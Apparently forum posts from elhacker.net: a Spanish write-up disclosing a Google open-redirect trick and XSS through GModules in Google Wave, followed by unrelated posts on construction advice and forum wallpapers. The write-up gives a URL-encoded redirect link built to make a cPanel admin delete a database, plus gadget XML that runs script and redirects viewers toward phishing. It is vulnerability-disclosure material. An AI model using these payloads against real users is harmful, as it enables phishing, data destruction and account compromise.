Gracias a esta novedosa feature de google un atacante puede utilizar urls de google como servidor de redirección para ocultar referencias, ocultar enlaces dañinos y un sin fin de cosas.

El problema de esta vulnerabilidad está en que si ingresas una url normal de esta forma:
http://www.google.com/url?q=http://foro.elhacker.net/
entonces google te la rechaza pero si le das tres slashses google no la detecta como enlace válido y te valida la redirección.



Vamos a realizar una simulación de ataque hacia nuestro cpanel desde una url de google.

El atacante envía un enlace como mensaje de correo de google diciendo lo siguiente:
http://www.google.com/url?a=necesitamos_de_su_colaboracion_para_entrar_en_nuestro_comite&codigo_mensaje=&q=%68%74%74%70%3a%2f%2f%2f%77%77%77%2e%61%74%61%63%61%64%6f%2e%63%6f%6d%3a%32%30%38%32%2f%66%72%6f%6e%74%65%6e%64%2f%78%33%2f%73%71%6c%2f%64%65%6c%64%62%2e%68%74%6d%6c%3f%64%62%3d%65%6a%65%6d%70%6c%6f%5f%62%61%73%65%64%65%64%61%74%6f%73

Y el desprevenido administrador al darle click va a terminar borrando su base de datos de su sitio web  :P

También puede ser utilizado por spammers debido a que las urls de google no son filtradas desde sistemas anti-spam y la url puede encodearse en urlencode

[Round 3] XSS en GModules afecta a GoogleWave
Hace tiempo habia visto que había la posibilidad de ejecutar código arbitrario en los módulos de gmodules de google pero hasta ese momento no había ningún servicio que pudiera comprometer una cuenta.
Al ingresar a GoogleWave pude ver que tienes la posibilidad de insertar módulos de gmodule dentro de waves y puedes enviarlos a amigos o contactos asi que probé enviar un módulo que pudiera ejecutar código arbitrario y resultó.

¿Como funciona?
http://www.google.com/ig
Esta es la web personalizada de google en el cual aparecen varios frames con funciones ya sean buscadores de wikipedia o relojes, calculadoras, etc. La gracia es que puedes crear tus propios módulos y agregarlos de forma arbitraria con un CSRF que tiene gmodules pero eso es otro tema xD.

Para crear nuestro propio módulo debemos hacerlo en formato XML de la siguiente forma:
Código (xml) [Seleccionar]
<?xml version="1.0" encoding="UTF-8"?>
<Module>
<ModulePrefs
 title="__MSG_poctitle__"
 directory_title="__MSG_pocdirtitle__"
 title_url="http://foro.elhacker.net/"
 author="WHK"
 author_affiliation="ElHacker.NET"
 author_location="Chile, CL"
 author_email="www.kernel32@gmail.com"
 screenshot="http://t1.gstatic.com/images?q=tbn:SMbRdMFu6ZuwRM:http://populachero.files.wordpress.com/2008/12/gato_navidad.jpg"
 thumbnail="http://t1.gstatic.com/images?q=tbn:SMbRdMFu6ZuwRM:http://populachero.files.wordpress.com/2008/12/gato_navidad.jpg"
 scrolling="false">
</ModulePrefs>

<Content type="html" view="canvas"><![CDATA[
 <script>
  alert('Ejecucion de codigo');
 </script>
]]></Content>
</Module>


Con esto ya tenemos un módulo, ahora lo subo a un servidor propio (en mi caso utilizo un servidor local) y quedaría así:
http://miip/gadget.xml

Con esto ya tengo mi módulo listo, ahora entro a GoogleWave y hago un nuevo Wave:


Tal como se muestra en la imagen primero escribo lo que sea, luego lo selecciono y presiono los tres puntos que están al costado derecho y le doy en insertar módulo y le doy la url de mi gadget.

Ahora todo el que vea ese wave se le ejecutará mi código arbitrario pero como se encuentra dentro de un iframe no podemos tener acceso a la cookie pero si a algunos tokens y tienes la posibilidad de hacer redirecciones, mover la ventana y lo que se te ocurra.



Un ejemplo práctico es este módulo:
Código (xml) [Seleccionar]
<?xml version="1.0" encoding="UTF-8"?>
<Module>
<ModulePrefs
 title="__MSG_poctitle__"
 directory_title="__MSG_pocdirtitle__"
 title_url="http://foro.elhacker.net/"
 author="WHK"
 author_affiliation="ElHacker.NET"
 author_location="Chile, CL"
 author_email="www.kernel32@gmail.com"
 screenshot="http://t1.gstatic.com/images?q=tbn:SMbRdMFu6ZuwRM:http://populachero.files.wordpress.com/2008/12/gato_navidad.jpg"
 thumbnail="http://t1.gstatic.com/images?q=tbn:SMbRdMFu6ZuwRM:http://populachero.files.wordpress.com/2008/12/gato_navidad.jpg"
 scrolling="false">
</ModulePrefs>

<Content type="html" view="canvas"><![CDATA[
 <script>
  top.location.href = 'http://foro.elhacker.net/';
 </script>
]]></Content>

</Module>


Con esto un atacante podría redireccionar a una victima hacia un phishing o web fraudulenta y solicitar datos como el acceso de su cuenta.

También hay una referencia similar que acabo de ver xD que habla sobre este mismo tema sobre GModules:
http://ha.ckers.org/blog/20070817/xss-hole-in-google-apps-is-expected-behavior/

Y acá un poco de documentación al respecto de este tipo de ataques:
http://www.google.com/search?q=tactical+exploitation

Actualmente Google concuerda que esto es una feature o sea algo que debe estar así y así lo dicta también el standard de protección el cual permite este tipo de redireccionamientos.
También se puede aplicar este tipo de ataque a cualquier sitio WEB que utilize algún servicio de google que permita GModules o que por lo menos permita frames con código modificable por terceros en los cuales se permita código ejecutable por el cliente.

Los xss y el robo de cookies son un standard hoy en dia y están dentro del saco de las features de la internerd.
#313
Foro Libre / Temas de construcción y hogar
19 Noviembre 2009, 19:26 PM
Bueno, como estuve un tiempo trabajando de vendedor de materiales de construcción quería hacer este post para la gente que tuviera alguna duda al respecto.
Yo no conozco absolutamente todo pero si gran parte de la tienda donde trabajaba asi que talves le pueda servir de ayuda a mas de alguno.

Los campos que yo manejo son techumbre, tabiquería, fijaciones de todo tipo, maderas, recubrimientos, fosas septicas, electrónica, siding dvp, instalación de bloques de vidrios, casi toda la gama de sika, etc.
Vuelvo a repetir que yo no conozco todo pero si tengo bastante conocimiento ya que al final trabajé en eso casi dos años y tube a cargo dos secciones que fueron techumbre y fijaciones.

Si alguien tiene una casa y se le llueve oquiere hacer una repisa o necesita algo adecuado para afirmar algo o hacer una estructura de una casa o saber con que recubrir, si pasan mucho frio en el invierno y mucho calor en el verano, cualquier cosa o problema comentenlo acá y si puedo ayudarles lo haré con gusto.

PD: si alguien quiere aprender a manejar grua de orquilla tambien puedo hacerlo, tengo licencia y todo pero online solamente desde este post xD, no es tan dificil, yo he manejado cuatro tipos de gruas... yale, toyota de una y dos velocidades, todas a gas metano y una komatsu.
#314
Wallpappers Mensuales
Diseñados por los usuarios de ElHacker.NET



Quiero dejar este post a modo de recopilatorio para todos los demás que vengan llegando a esta sección y no se den el trabajo de andar buscando en páginas atrasadas.
Hay que recordar que todos pueden participar!




#315
Bueno, como las originales eran bastante simples decidí hacer un diseño propio para ver si se mandan a imprimir en playeras.
El nuevo estio incluye todo lo que el h4x0r necesita: calaveras, rayos, neo decapitado con letras de marix bajando, fuego, el logo de elhacker.net lleno de sange y el infaltable "31337".